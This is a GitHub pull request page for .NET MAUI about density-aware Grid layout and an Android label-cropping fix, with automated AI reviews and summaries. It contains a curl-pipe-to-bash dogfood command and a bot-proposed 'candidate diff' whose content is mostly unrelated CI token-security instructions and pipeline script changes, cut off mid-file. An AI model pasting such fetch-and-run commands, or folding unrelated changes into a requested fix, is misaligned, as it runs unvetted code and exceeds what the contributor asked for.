Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices#31755
Conversation
There was a problem hiding this comment.
Pull Request Overview
This PR introduces density-aware layout calculations in Grid to eliminate pixel rounding discrepancies that cause layout issues on Android devices. The key change is the adoption of a DensityValue struct that tracks both density-independent pixels (dp) and physical pixels to enable precise pixel-perfect distribution.
- Introduces DensityValue struct for pixel-perfect layout calculations
- Modifies Grid layout manager to use density-aware star distribution
- Fixes pixel calculation precision in Android's ToPixels conversion method
Reviewed Changes
Copilot reviewed 8 out of 54 changed files in this pull request and generated 5 comments.
Show a summary per file
| File | Description |
|---|---|
| src/Core/src/Layouts/DensityValue.cs | New struct for tracking dp and pixel values with precise distribution algorithm |
| src/Core/src/Layouts/GridLayoutManager.cs | Updated to use DensityValue throughout and implement density-aware star sizing |
| src/Core/src/Platform/Android/ContextExtensions.cs | Fixed pixel calculation to use width/height instead of right/bottom coordinates |
| src/Core/src/IViewWithWindow.cs | New interface to enable window access for density retrieval |
| src/Core/src/Platform/ElementExtensions.cs | Enhanced GetWindow method to support IViewWithWindow interface |
| src/Core/tests/UnitTests/Layouts/GridLayoutManagerDensityTest.cs | Comprehensive unit tests for DensityValue pixel distribution |
| src/Controls/tests/TestCases.HostApp/Issues/Issue28117.cs | Test case reproducing the border/label cropping issue |
| src/Controls/tests/TestCases.Shared.Tests/Tests/Issues/Issue28117.cs | UI test for validating the fix |
| } | ||
|
|
||
|
|
||
|
|
There was a problem hiding this comment.
[nitpick] Remove the unnecessary blank line at line 40 to improve code readability.
| } | ||
|
|
||
| static void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize, double spacing, double starCount, bool limitStarSizes) | ||
| void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize, double spacing, double starCount, bool limitStarSizes) |
There was a problem hiding this comment.
The method signature change from 'static' to instance method is a breaking change to the internal API. Consider maintaining the static signature and passing density as a parameter instead.
|
|
||
| var scale = (fullTargetSize - definition.MinimumSize) / totaldiff; | ||
| var portion = scale * availableSpace; | ||
| definition.Size = definition.MinimumSize + portion; | ||
| } | ||
| } | ||
| /// <summary> | ||
| /// Gets the display density for density-aware calculations. | ||
| /// </summary> | ||
| /// <returns>The display density, or 1.0 if not available.</returns> | ||
| double GetDensity() |
There was a problem hiding this comment.
[nitpick] Remove the unnecessary blank line at line 990 to maintain consistent spacing with other methods.
| Size = new DensityValue(0.0); | ||
| MinimumSize = new DensityValue(0.0); |
There was a problem hiding this comment.
[nitpick] Consider extracting DensityValue.Zero as a static property to avoid repeated instantiation of zero values and improve code readability.
| Size = new DensityValue(0.0); | |
| MinimumSize = new DensityValue(0.0); | |
| Size = DensityValue.Zero; | |
| MinimumSize = DensityValue.Zero; |
|
|
||
| // Total weight = 8, with right-to-left distribution: | ||
| // portions[0]=3: floor(333 * 3/8) = floor(124.875) = 124 | ||
| // portions[1]=2: floor(333 * 2/8) = floor(83.25) = 83 |
There was a problem hiding this comment.
Remove the trailing space after '83' to maintain consistent formatting.
| // portions[1]=2: floor(333 * 2/8) = floor(83.25) = 83 | |
| // portions[1]=2: floor(333 * 2/8) = floor(83.25) = 83 |
984dbf6 to
6737f23
Compare
🤖 AI Summary📊 Expand Full Review🔍 Pre-Flight — Context & Validation📝 Review Session — Added device test ·
|
| File:Line | Reviewer Says | Status |
|---|---|---|
| DensityValue.cs:41 | [nitpick] Remove unnecessary blank line | |
| GridLayoutManager.cs:845 | ResolveStars() signature changed from static to instance - breaking internal API change |
|
| GridLayoutManager.cs:995 | [nitpick] Remove unnecessary blank line | |
| GridLayoutManager.cs:1280 | [nitpick] Consider DensityValue.Zero static property |
|
| GridLayoutManagerDensityTest.cs:114 | Remove trailing space in comment |
No human reviewer comments beyond automated bot.
Fix Candidates
| # | Source | Approach | Test Result | Files Changed | Notes |
|---|---|---|---|---|---|
| PR | PR #31755 | New DensityValue struct + GridLayoutManager star distribution + ContextExtensions ToPixels fix (frame.right = left + width) | ⏳ PENDING (Gate) | 45 files (+616/-57) | Original PR |
Key Concerns
- Scope creep: PR changes
View.csto implementIViewWithWindow- this adds a new interface to a public class that may not be needed for the fix - Many snapshot updates: 16+ existing snapshots updated - this could indicate the fix has unintended visual effects on other tests
- Device-dependent test: The Issue28117 test uses a hardcoded padding value
70.89827027958738- may only reproduce on specific device densities - Internal API change:
GridLayoutManager.ResolveStars()changed from static to instance method
🚦 Gate — Test Verification
📝 Review Session — Added device test · 6737f23
Result: ✅ PASSED
Platform: android
Mode: Full Verification
| Check | Expected | Actual | Result |
|---|---|---|---|
| Tests WITHOUT fix | FAIL | FAIL | ✅ |
| Tests WITH fix | PASS | PASS | ✅ |
- Tests FAIL without fix ✅ (bug is present - label is cropped)
- Tests PASS with fix ✅ (bug is fixed - label displays correctly)
Test: Issue28117.ShouldDisplayLabelWithoutBeingCroppedInsideBorder
Fix Files Verified:
src/Core/src/Layouts/GridLayoutManager.cssrc/Core/src/Platform/Android/ContextExtensions.cssrc/Controls/src/Core/View/View.cssrc/Core/src/Platform/ElementExtensions.cs
🔧 Fix — Analysis & Comparison
📝 Review Session — Added device test · 6737f23
Fix Candidates
| # | Source | Approach | Test Result | Files Changed | Notes |
|---|---|---|---|---|---|
| PR | PR #31755 | DensityValue struct + GridLayoutManager star distribution + ContextExtensions ToPixels fix (frame.right = left + width) | ✅ PASS (Gate) | 45 files (+616/-57) | Original PR |
Try-Fix Attempts
Attempts Skipped: All 5 models blocked by rate limiting (429 Too Many Requests) on the task agent.
| Attempt | Model | Status | Reason |
|---|---|---|---|
| 1 | claude-sonnet-4.5 | ⛔ BLOCKED | Rate limit (429) |
| 2 | claude-haiku-4.5 | ⛔ BLOCKED | Rate limit (429) |
| 3-5 | Others | ⛔ SKIPPED | Rate limit still active |
Exhausted
Exhausted: No (blocked by environment - rate limiting)
Selected Fix: PR's fix - The only validated solution. Tests confirm it correctly fixes the bug (FAIL without → PASS with fix).
📋 Report — Final Recommendation
📝 Review Session — Added device test · 6737f23
⚠️ Final Recommendation: REQUEST CHANGES
Summary
PR #31755 fixes two related Android pixel-rounding issues (#28117, #30017) and the test correctly validates the fix. However, several concerns require addressing before merge.
Gate result: ✅ PASSED — Tests fail without the fix, pass with it.
Root Cause
Issue #28117 (Label cropping in Border):
When a Border has a fractional dp padding (e.g., 70.89827027958738), the previous ContextExtensions.ToPixels(Rect) computed right and left independently via rounding, causing a 1-2px discrepancy: (int)ToPixels(left) + (int)ToPixels(right) ≠ (int)ToPixels(left) + (int)ToPixels(width). The fix computes right = left + (int)(width * density), eliminating the off-by-one.
Issue #30017 (Grid pixel-aware layout):
On high-DPI screens, distributing available space across star-sized columns produces fractional pixel values. Without error accumulation, independent rounding causes overlap or gaps. The new DensityValue.DistributePixels mirrors Android's approach of accumulating rounding errors and assigning them to the rightmost elements.
Fix Quality
The ContextExtensions.ToPixels(Rect) fix is minimal, targeted, and correct. The DensityValue struct and GridLayoutManager changes are more complex but include unit tests (GridLayoutManagerDensityTest.cs).
Code Review Concerns
🚨 Critical: Windows Snapshots Changed Unexpectedly
The PR modifies 7+ WinUI test snapshots without explanation in the description:
ButtonsLayoutResolveWhenParentSizeChangesSizeButtonsDownPortrait.pngIssue15330Test.png,Issue24414Test.png(3 variants)Issue2775Test.png
Why this matters: The GridLayoutManager.ExpandStars changes apply to ALL platforms via GetDensity(). On Windows, View now implements IViewWithWindow, so display density is retrieved and used in DensityValue.DistributePixels for star columns/rows. This changes Windows layout behavior. The PR should:
- Confirm these Windows snapshot changes are intentional improvements, not regressions
- Add a note in the description explaining the cross-platform impact
⚠️ Important: PR Scope and Separation
This PR combines two distinct fixes:
- A ~10 line
ContextExtensions.ToPixels(Rect)fix (the actual fix for [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117) - A ~600 line
DensityValuestruct +GridLayoutManageroverhaul (the fix for Proposal: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout #30017)
These are orthogonal changes and would be easier to review and rollback separately. The DensityValue/Grid changes are a significant feature addition, not just a bug fix.
⚠️ Important: 16+ Android Snapshots Updated
Many existing Android test snapshots were updated (RadioButton, ImageButton, Toolbar, Shadow). The description doesn't explain whether these are expected improvements or unexpected visual changes. Given the ContextExtensions.ToPixels(Rect) change affects all rectangle-to-pixel conversions on Android, this is expected — but the PR should call this out explicitly.
ℹ️ Automated Reviewer Nitpicks (should fix before merge)
From copilot-pull-request-reviewer:
- DensityValue.cs:41 — Unnecessary blank line
- GridLayoutManager.cs:845 —
ResolveStars()changed from static to instance method (internal API change, should be noted) - GridLayoutManager.cs:995 — Unnecessary blank line
- GridLayoutManager.cs:1280 — Consider
DensityValue.Zerostatic property - GridLayoutManagerDensityTest.cs:114 — Trailing space in comment
Fix Candidates
| # | Source | Approach | Test Result | Files Changed | Notes |
|---|---|---|---|---|---|
| PR | PR #31755 | DensityValue struct + Grid DistributePixels + ContextExtensions ToPixels fix | ✅ PASS (Gate) | 45 files (+616/-57) | Original PR |
Try-fix exploration: Skipped — task agent blocked by rate limiting (429). PR's fix is the only validated solution.
Suggested Changes for Author
- Explain Windows snapshot changes — In the PR description, add a section explaining that the GridLayoutManager changes affect Windows Grid layout (improved pixel distribution) and confirm the updated snapshots are correct
- Consider splitting the PR — The ContextExtensions fix is simple and could ship faster as a separate PR ([Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117 fix). The DensityValue/Grid work (Proposal: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout #30017) is larger and could be reviewed more thoroughly as a standalone PR
- Address automated reviewer comments — Remove unnecessary blank lines and trailing spaces
Test Validation
- ✅
Issue28117.ShouldDisplayLabelWithoutBeingCroppedInsideBorder— FAILS without fix (bug reproduced), PASSES with fix - Platform: Android
📋 Expand PR Finalization Review
Title: ⚠️ Needs Update
Current: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices
Recommended: [Android] Fix label cropping in Border and Grid star-column pixel gaps via DensityValue layout
Description: ⚠️ Needs Update
Description needs updates. See details below.
✨ Suggested PR Description
[!NOTE]
Are you waiting for the changes in this PR to be merged?
It would be very helpful if you could test the resulting artifacts from this PR and let us know in a comment if this change resolves your issue. Thank you!
Root Cause
Issue #28117 — Label cropping in Border:
ContextExtensions.ToPixels(Context, Rect) was converting each edge of the rectangle independently. Because each double → int cast is rounded separately, the independently converted Right and Bottom values could differ by 1 pixel from Left + Width and Top + Height, causing the content area to be 1px narrower than expected and clipping the label text.
Issue #30017 — Grid star-column pixel gaps:
In high-DPI environments, dividing available dp space across * columns often produces fractional pixel values. MAUI Grid was assigning column sizes via naive double division without accumulating rounding error, resulting in total allocated pixels that differ from the actual container by 1+ pixel — causing layout gaps, overlap, or clipped content.
Description of Change
1. ContextExtensions.ToPixels fix (label cropping — Android only)
Computed right as left + (int)context.ToPixels(rectangle.Width) and bottom as top + (int)context.ToPixels(rectangle.Height) instead of independently converting each edge. This ensures Right and Bottom are always exactly Left+Width and Top+Height in pixel space.
2. New DensityValue struct (src/Core/src/Layouts/DensityValue.cs)
Internal struct that tracks both a dp value and its corresponding physical pixels (RawPx = Dp * Density). Provides arithmetic operators and DistributePixels(totalPixels, density, portions[]) — a static method that allocates pixel counts using floor + right-to-left remainder distribution (matches Android's native behavior):
// 293.4dp × 2.625 density = 770.175px across 3 equal columns
// DistributePixels → [256, 257, 257] = 770px ✓
// Naive rounding → [257, 257, 257] = 771px ✗ (overflow by 1px)
3. Grid star-column density-aware distribution
GridLayoutManager.ExpandStarDefinitions (internal class) now calls GetDensity() to retrieve the window display density, then uses DensityValue.DistributePixels to allocate pixel counts to * columns/rows, eliminating off-by-one errors from independent rounding. GetDensity() returns 1.0 when no window is available (safe fallback for unit tests and pre-attach layout passes).
4. New IViewWithWindow interface (src/Core/src/IViewWithWindow.cs)
Temporary internal interface allowing GridLayoutManager to access IWindow from the grid view without taking a direct dependency on the handler chain. View implements this interface by forwarding its existing Window property.
// TODO Delete this in NET10 and just add it with a default implementation to IView
internal interface IViewWithWindow
{
IWindow? Window { get; }
}5. ElementExtensions.GetWindow improvement
GetWindow(IElement) now checks IViewWithWindow.Window first, then GetHostedWindow(), before falling back to the handler chain — enabling density resolution earlier in the view lifecycle.
Platforms Affected
- Android — primary target; both fixes directly address Android rendering
- All platforms —
DensityValuedistribution is active for any platform whereRequestDisplayDensity()returns a non-1.0 value (including high-DPI Windows). Falls back safely to1.0when no window is available.
Key Technical Details
Density access chain:
GridLayoutManager.GetDensity()
→ (_grid as IViewWithWindow)?.Window
→ IWindow.RequestDisplayDensity()
→ returns 1.0 if unavailable (safe fallback)
Definition.Size and Cell.MeasureWidth/Height changed from double to DensityValue. The implicit DensityValue → double operator returns .Dp, so all downstream code using .Size directly still works. Arithmetic on Definition.Size uses .Dp explicitly in places where only the dp value is needed.
What NOT to Do (for future agents)
- ❌ Don't convert each Rect edge independently — Always compute
right = left + width_pxandbottom = top + height_pxto avoid independent rounding errors - ❌ Don't assign
*column sizes by simpletargetStarSize * weight— UseDensityValue.DistributePixelsto accumulate remainder pixels; naive rounding causes 1px overflow - ❌ Don't access display density from Platform layer directly in GridLayoutManager — The layout manager is in Core and must use
IViewWithWindow/IWindow.RequestDisplayDensity()to stay layer-agnostic
Issues Fixed
Output
Android platform
| Before | After |
|---|---|
![]() |
![]() |
Code Review: ⚠️ Issues Found
Code Review — PR #31755
🔴 Critical Issues
1. ExpandStarDefinitions changed from static to instance method without addressing reviewer feedback
File: src/Core/src/Layouts/GridLayoutManager.cs (line ~845)
Problem: The Copilot auto-reviewer flagged this: the method was originally static void ExpandStarDefinitions(...). Changing it to an instance method breaks internal consistency of the nested GridLayoutManager.GridStructure class, where other helper methods are static. The reviewer's suggestion was to pass density as a parameter instead. This feedback was not addressed.
Recommendation: Restore static and pass density as a parameter:
static void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize,
double spacing, double starCount, bool limitStarSizes, double density)The caller (ResolveStarColumns, ResolveStarRows) can call GetDensity() and pass it in:
var density = GetDensity();
ExpandStarDefinitions(definitions, ..., density);This keeps the helper methods consistent and testable without needing an instance.
🟡 Suggestions
2. Private constructor uses unused discriminator parameter
File: src/Core/src/Layouts/DensityValue.cs
Problem: The private constructor DensityValue(double rawPx, double density, bool fromPixels) uses a bool fromPixels parameter solely to distinguish it from the public DensityValue(double dp, double density) constructor. The fromPixels value is never checked.
// Current - fromPixels is unused
private DensityValue(double rawPx, double density, bool fromPixels)
{
RawPx = rawPx;
Density = density;
}Recommendation: Use a static factory method pattern consistently, removing the confusing private constructor:
// FromPixels already exists as a public static factory - just make the private ctor cleaner
private DensityValue(double rawPx, double density) // Private; always means "from pixels"
{
RawPx = rawPx;
Density = density;
}Or since FromPixels is already a public static factory method that calls this constructor, just make the private constructor take only rawPx and density without the discriminator bool.
3. DensityValue arithmetic operators throw on mismatched density
File: src/Core/src/Layouts/DensityValue.cs
Problem: The + and - operators throw ArgumentException when densities differ and neither is 1.0. The special-casing logic (treat 1.0-density values as same-density) is fragile for future callers who might not realize this constraint.
throw new ArgumentException("Cannot add DensityValues with different densities.");Risk: If any future code path creates two DensityValue instances from different display contexts and adds them, this will throw at runtime with no compile-time warning.
Recommendation: Add XML documentation on the operators clearly stating the constraint, or consider removing the operators and requiring explicit .Dp access for arithmetic, since the implicit conversion to double already provides natural dp-based arithmetic.
4. Missing newline at end of new files
Files: src/Core/src/Layouts/GridLayoutManager.cs, src/Core/src/IViewWithWindow.cs
Problem: Both files end with \ No newline at end of file in the diff. This causes minor Git diff noise and violates standard .NET formatting conventions.
Recommendation: Add a trailing newline to both files.
5. System.Linq added to performance-critical layout code
File: src/Core/src/Layouts/GridLayoutManager.cs
Problem: using System.Linq; was added to use .Where() and .Select() inside ExpandStars, which is called during every layout pass containing * columns/rows. LINQ creates enumerator allocations on the heap.
var starDefinitions = defs.Where(d => d.IsStar).ToArray(); // heap allocation
var portions = starDefinitions.Select(d => targetStarSize * d.GridLength.Value).ToArray(); // heap allocationRecommendation: Replace LINQ with pre-allocated arrays or a manual loop to match the allocation profile of the surrounding code:
// Count first, then fill
int starCount2 = 0;
for (int i = 0; i < defs.Length; i++)
if (defs[i].IsStar) starCount2++;
var starDefinitions = new Definition[starCount2];
var portions = new double[starCount2];
int idx = 0;
for (int i = 0; i < defs.Length; i++)
{
if (defs[i].IsStar)
{
starDefinitions[idx] = defs[i];
portions[idx] = targetStarSize * defs[i].GridLength.Value;
idx++;
}
}✅ Looks Good
-
DensityValue.DistributePixelsalgorithm — Correct implementation of floor + right-to-left remainder distribution. Unit tests accurately cover the 3-column remainder case (770.175px → [256, 257, 257]), perfect division, 4-column case, and weighted star sizing. -
ContextExtensions.ToPixelsfix — Clean, minimal change. Computingright = left + width_pxandbottom = top + height_pxis the correct pattern to avoid independent rounding errors on each edge. -
IViewWithWindowdesign — Reasonable temporary internal interface with a clear TODO comment to integrate it intoIViewin .NET 10. TheGetDensity()fallback to1.0is safe for unit testing and non-window scenarios. -
WindowHandlerStub.Android.cs— Correctly addsRequestDisplayDensityto the CommandMapper so test scenarios can provide a density value. -
UI test for Issue [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117 — Well-structured, follows project conventions, uses screenshot verification appropriately. The
#if !MACCATALYSTguard is justified (references a separate known issue Layout Error: Label height within VerticalStackLayout is truncated when width is set #15559). -
Unit tests —
GridLayoutManagerDensityTest.cstests are focused, self-documenting, and cover all documented scenarios from the proposal (issue Proposal: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout #30017).
6737f23 to
802291b
Compare
|
🚀 Dogfood this PR with:
curl -fsSL https://raw.githubusercontent.com/dotnet/maui/main/eng/scripts/get-maui-pr.sh | bash -s -- 31755Or
iex "& { $(irm https://raw.githubusercontent.com/dotnet/maui/main/eng/scripts/get-maui-pr.ps1) } 31755" |
I have resolved the conflicts. |
kubaflo
left a comment
There was a problem hiding this comment.
Could you please check the AI's summary?
@kubaflo Based on the AI summary, it suggested that changes in ContextExtensions alone are sufficient to resolve issue #28117 (along with android resaved snapshots). However, this PR also includes improvements for issue #30017 based on PR #30020. Therefore, removing the additional file changes would not be appropriate. All included changes are necessary to address the mentioned issues. |
MauiBot
left a comment
There was a problem hiding this comment.
🤖 Automated review — alternative fix proposed
The expert-reviewer evaluation compared the PR fix against #1 automatically generated candidates and selected try-fix-1 as the strongest fix.
Why: try-fix-1 wins: it fixes issue #28117 with a 1-file, 16-line surgical change to ContextExtensions.cs, passes all 280 regression tests (no regressions), and correctly fixes BOTH ToPixels(Rect) overloads (View + Context) while the PR only fixed one. The PR's DensityValue approach fails 3 regression tests due to integer truncation at density=1.0 and introduces LINQ allocations in the layout hot path.
Please consider applying the candidate diff below (or use it as guidance). Once you push an update, this workflow will re-trigger and re-evaluate.
Candidate diff (`try-fix-1`)
diff --git a/src/Core/src/Platform/Android/ContextExtensions.cs b/src/Core/src/Platform/Android/ContextExtensions.cs
index c2967afe13..f38b86e531 100644
--- a/src/Core/src/Platform/Android/ContextExtensions.cs
+++ b/src/Core/src/Platform/Android/ContextExtensions.cs
@@ -124,23 +124,27 @@ namespace Microsoft.Maui.Platform
internal static (int left, int top, int right, int bottom) ToPixels(this View view, Graphics.Rect rectangle)
{
+ var left = (int)view.ToPixels(rectangle.Left);
+ var top = (int)view.ToPixels(rectangle.Top);
return
(
- (int)view.ToPixels(rectangle.Left),
- (int)view.ToPixels(rectangle.Top),
- (int)view.ToPixels(rectangle.Right),
- (int)view.ToPixels(rectangle.Bottom)
+ left,
+ top,
+ left + (int)view.ToPixels(rectangle.Width),
+ top + (int)view.ToPixels(rectangle.Height)
);
}
public static (int left, int top, int right, int bottom) ToPixels(this Context context, Graphics.Rect rectangle)
{
+ var left = (int)context.ToPixels(rectangle.Left);
+ var top = (int)context.ToPixels(rectangle.Top);
return
(
- (int)context.ToPixels(rectangle.Left),
- (int)context.ToPixels(rectangle.Top),
- (int)context.ToPixels(rectangle.Right),
- (int)context.ToPixels(rectangle.Bottom)
+ left,
+ top,
+ left + (int)context.ToPixels(rectangle.Width),
+ top + (int)context.ToPixels(rectangle.Height)
);
}
|
/azp run maui-pr-uitests |
|
Azure Pipelines successfully started running 1 pipeline(s). |
|
/review -b feature/refactor-copilot-yml |
kubaflo
left a comment
There was a problem hiding this comment.
Tests are failing - could you please verify?
faa6413 to
6d2560c
Compare
|
/review -b feature/refactor-copilot-yml |
MauiBot
left a comment
There was a problem hiding this comment.
🤖 Automated review — alternative fix proposed
The expert-reviewer evaluation compared the PR fix against #3 automatically generated candidates and selected try-fix-3 as the strongest fix.
Why: try-fix-3 wins because it is the complete candidate with passing available regression/build evidence: it fixes Android Rect conversion for both overloads and removes Grid hot-path LINQ/array allocations while preserving density-aware star distribution. The raw PR failed the supplied gate, and pr-plus-reviewer is equivalent in direction but lacks independent recorded test evidence.
Please consider applying the candidate diff below (or use it as guidance). Once you push an update, this workflow will re-trigger and re-evaluate.
Candidate diff (`try-fix-3`)
diff --git a/.github/instructions/ci-copilot-pipeline-security.instructions.md b/.github/instructions/ci-copilot-pipeline-security.instructions.md
new file mode 100644
index 0000000000..b77f099041
--- /dev/null
+++ b/.github/instructions/ci-copilot-pipeline-security.instructions.md
@@ -0,0 +1,52 @@
+---
+description: "Security rules for the Copilot PR-review pipeline. Read before editing."
+applyTo: "eng/pipelines/ci-copilot.yml,eng/scripts/detect-ui-test-categories.ps1,.github/scripts/**,.github/pr-review/**,.github/skills/pr-review/**,.github/skills/verify-tests-fail-without-fix/**,.github/skills/try-fix/**,.github/skills/run-device-tests/**,.github/workflows/review-trigger.yml,.github/workflows/pr-review-queue.yml,.github/workflows/copilot-evaluate-tests.*"
+---
+
+# CI Copilot pipeline — security rules
+
+This pipeline runs **untrusted PR code** on AzDO agents with these tokens in scope:
+
+- `GH_COMMENT_TOKEN` / `GH_TOKEN` — `maui-bot` PAT (post comments, labels, reviews on any PR)
+- `COPILOT_GITHUB_TOKEN` — Copilot CLI install token
+- AzDO GitHub service-connection PAT — repo contents, PRs, checks, workflows
+
+Once the PR is merged into the worktree, the author controls every `.csproj`, `Directory.Build.targets`, source generator, analyzer, test, `.ps1`, and `.yml` the pipeline subsequently runs.
+
+## Rules
+
+1. **Per-task `env:` scoping.** Only put tokens a task needs. The Copilot-agent task gets `COPILOT_GITHUB_TOKEN` only — never `GH_TOKEN`. Pass `--secret-env-vars=GH_TOKEN,GITHUB_TOKEN,COPILOT_GITHUB_TOKEN` to the Copilot CLI.
+
+2. **`persistCredentials: false` on every `checkout: self`** unless the task pushes. Default checkout writes the service-connection PAT into `.git/config` as `extraheader`, readable by any subprocess.
+
+3. **Trusted-copy scripts before merging the PR.** Setup task (still on `main`) copies `.github/scripts`, `.github/skills`, `eng/scripts` to `$(Build.ArtifactStagingDirectory)/trusted-github/`, then `chmod -R a-w`. Later tasks invoke scripts from `$TRUSTED/...`, never from the merged worktree. In PowerShell use `$ScriptsDir` / `$SkillsDir` / `$EngScriptsDir` (canonical impl in `Review-PR.ps1`). New post-merge scripts must be added to the Setup copy block.
+
+4. **Strip tokens before invoking PR-controlled code.** Wrap every `dotnet build|test|run|pack`, `msbuild`, `dotnet cake`, `BuildAndRun*.ps1`, `Run-DeviceTests.ps1`, `Invoke-UITestWithRetry.ps1` in `Invoke-WithoutGhTokens { ... }` (defined in `Review-PR.ps1` and `verify-tests-fail.ps1` — saves/clears/restores `GH_TOKEN`, `GITHUB_TOKEN`, `COPILOT_GITHUB_TOKEN`). **Wrap as close to the subprocess as possible, not at the outer trusted-script boundary** — a trusted script may itself need `gh` for metadata (e.g., `verify-tests-fail.ps1` calls `Detect-TestsInDiff.ps1` which uses `gh api`), so wrapping the whole script breaks its detection path. Wrap only the line that launches the PR-controlled process. Exception: scripts that ONLY call `gh` for PR metadata (`Detect-TestsInDiff.ps1`, `Find-RegressionRisks.ps1`, `detect-ui-test-categories.ps1`) don't need wrapping at all — they keep the token.
+
+5. **Cross-phase signal files in `$(Agent.TempDirectory)`** (or `$TRUSTED`), never `$RepoRoot/...`. PR code can overwrite anything in the worktree, including a gate verdict. Readers must not silently fall back to a worktree path if the trusted one is missing.
+
+6. **Strip `##vso[...]` from PR-controlled stdout.** Pipe through `tr -d '\r' | sed -E 's/##vso\[[^]]*\]//g'` — bare `sed` misses CRLF lines and the agent will execute the directive.
+
+7. **`gh-aw` workflows.** Pin compiler version (≥ v0.68.4 strips `pull-requests: write` per `gh-aw#28767`). Regenerate `.lock.yml` with `gh aw compile` in the **same commit** as any `.md` frontmatter edit (stale lock ⇒ all dispatches fail). `workflow_dispatch` triggers must restore trusted `.github/` from main (see `Checkout-GhAwPr.ps1`).
+
+8. **No token republish.** Don't `setvariable` a token (visible to every later task, even with `issecret=true`). Don't write tokens to worktree files. Don't echo token names.
+
+## Review checklist
+
+- [ ] New `checkout: self` has `persistCredentials: false`.
+- [ ] New `env:` block lists only the tokens that task needs; Copilot task has no `GH_TOKEN`.
+- [ ] New post-merge script invoked via `$ScriptsDir` / `$SkillsDir` / `$EngScriptsDir`, not `$RepoRoot/...`, AND added to Setup copy block.
+- [ ] New invocation of PR-controlled code (`dotnet test|build|run`, `BuildAndRun*`, `Run-DeviceTests`, `Invoke-UITestWithRetry`) is wrapped in `Invoke-WithoutGhTokens` AT THE CALL SITE (not at an outer boundary).
+- [ ] New cross-phase state file lives under `$(Agent.TempDirectory)` / `$TRUSTED`.
+- [ ] New PR-stdout pipe uses `tr -d '\r' | sed -E 's/##vso\[[^]]*\]//g'`.
+- [ ] Edited `.github/workflows/*.md` has matching `.lock.yml` regenerated in same commit.
+
+## Grep these during review
+
+```bash
+git grep -nE 'dotnet (test|build|run|pack)' eng/pipelines/ci-copilot.yml .github/scripts .github/skills | grep -v Invoke-WithoutGhTokens
+git grep -nE 'Join-Path \$RepoRoot ".*\.(ps1|sh)"' .github/scripts .github/skills
+git grep -nA1 'checkout: self' eng/pipelines/ci-copilot.yml | grep -v persistCredentials
+git grep -nE 'Set-Content.*\$RepoRoot.*(gate-result|sentinel|verdict)' .github/scripts .github/skills
+git grep -nE 'sed.*##vso' eng/pipelines/ci-copilot.yml | grep -v 'tr -d'
+```
diff --git a/.github/scripts/Review-PR.ps1 b/.github/scripts/Review-PR.ps1
index 3bce923e2d..c966ce7d92 100644
--- a/.github/scripts/Review-PR.ps1
+++ b/.github/scripts/Review-PR.ps1
@@ -7,13 +7,15 @@
Step 1: Branch setup - Create review branch from main, merge PR squashed
Step 2: Detect UI categories - Run eng/scripts/detect-ui-test-categories.ps1 (info only)
- Step 3: Run detected UI tests - Execute BuildAndRunHostApp.ps1 per detected category (informational)
- Step 4: Regression cross-ref - Run Find-RegressionRisks.ps1 + run any tests from prior fix PRs
- Step 5: Gate - Run test verification directly (verify-tests-fail.ps1)
- Step 6: Multi-candidate review - Pre-Flight, then PARALLEL (expert-reviewer eval of PR + Try-Fix×4),
+ Step 3: Regression cross-ref - Run Find-RegressionRisks.ps1 + run any tests from prior fix PRs
+ Step 4: Gate - Run test verification directly (verify-tests-fail.ps1)
+ Step 5: Multi-candidate review - Pre-Flight, then PARALLEL (expert-reviewer eval of PR + Try-Fix×4),
then Report compares all candidates and writes winner.json
- Step 7: Post AI Summary - Directly runs posting scripts
- Step 8: Apply labels - Apply agent labels based on review results
+ Step 6: Post AI Summary - Directly runs posting scripts
+ Step 7: Apply labels - Apply agent labels based on review results
+
+ NOTE: Full-category UI test runs happen in the RunDeepUITests stage (ci-copilot.yml Stage 2),
+ not here. This script only runs targeted PR-specific tests in the Gate (Step 4).
By default, the script checks out main and creates a review branch from it.
If squash-merge conflicts, the script posts a comment on the PR and exits.
@@ -50,6 +52,13 @@ param(
[ValidateSet('android', 'ios', 'windows', 'maccatalyst', 'catalyst')]
[string]$Platform,
+ [Parameter(Mandatory = $false)]
+ [ValidateSet('Setup', 'Gate', 'CopilotReview', 'Post')]
+ [string]$Phase,
+
+ [Parameter(Mandatory = $false)]
+ [string]$TrustedScriptsDir,
+
[Parameter(Mandatory = $false)]
[switch]$UseCurrentBranch,
@@ -63,6 +72,13 @@ param(
$ErrorActionPreference = 'Stop'
if ($LogFile) {
+ # When running with -Phase, each phase is a separate process writing to the same log.
+ # Append a phase suffix so phases don't overwrite each other's logs.
+ if ($Phase) {
+ $logExt = [System.IO.Path]::GetExtension($LogFile)
+ $logBase = $LogFile.Substring(0, $LogFile.Length - $logExt.Length)
+ $LogFile = "${logBase}_${Phase}${logExt}"
+ }
$logDir = Split-Path $LogFile -Parent
if ($logDir -and -not (Test-Path $logDir)) {
New-Item -ItemType Directory -Path $logDir -Force | Out-Null
@@ -73,6 +89,60 @@ if ($LogFile) {
$RepoRoot = git rev-parse --show-toplevel 2>$null
if (-not $RepoRoot) { Write-Error "Not in a git repository"; exit 1 }
+# ─── Phase routing ─────────────────────────────────────────────────────────────
+# When -Phase is specified, run ONLY that phase. This enables the 4-task AzDO
+# split where each task calls Review-PR.ps1 with a different phase, each with
+# exactly the secrets it needs in its env: block.
+#
+# Task 1 (Setup): env: GH_TOKEN. No dotnet, no copilot.
+# Task 2 (Gate): env: GH_TOKEN. PR-code subprocesses (dotnet test,
+# BuildAndRunHostApp.ps1, etc.) are wrapped via
+# Invoke-WithoutGhTokens so they cannot exfiltrate the token.
+# Task 3 (CopilotReview): env: COPILOT_GITHUB_TOKEN. copilot → dotnet (stripped).
+# Task 4 (Post): env: GH_TOKEN. Trusted scripts, no dotnet.
+#
+# When -Phase is NOT specified, all steps run sequentially (backward compat for
+# local development use).
+$runSetup = -not $Phase -or $Phase -eq 'Setup'
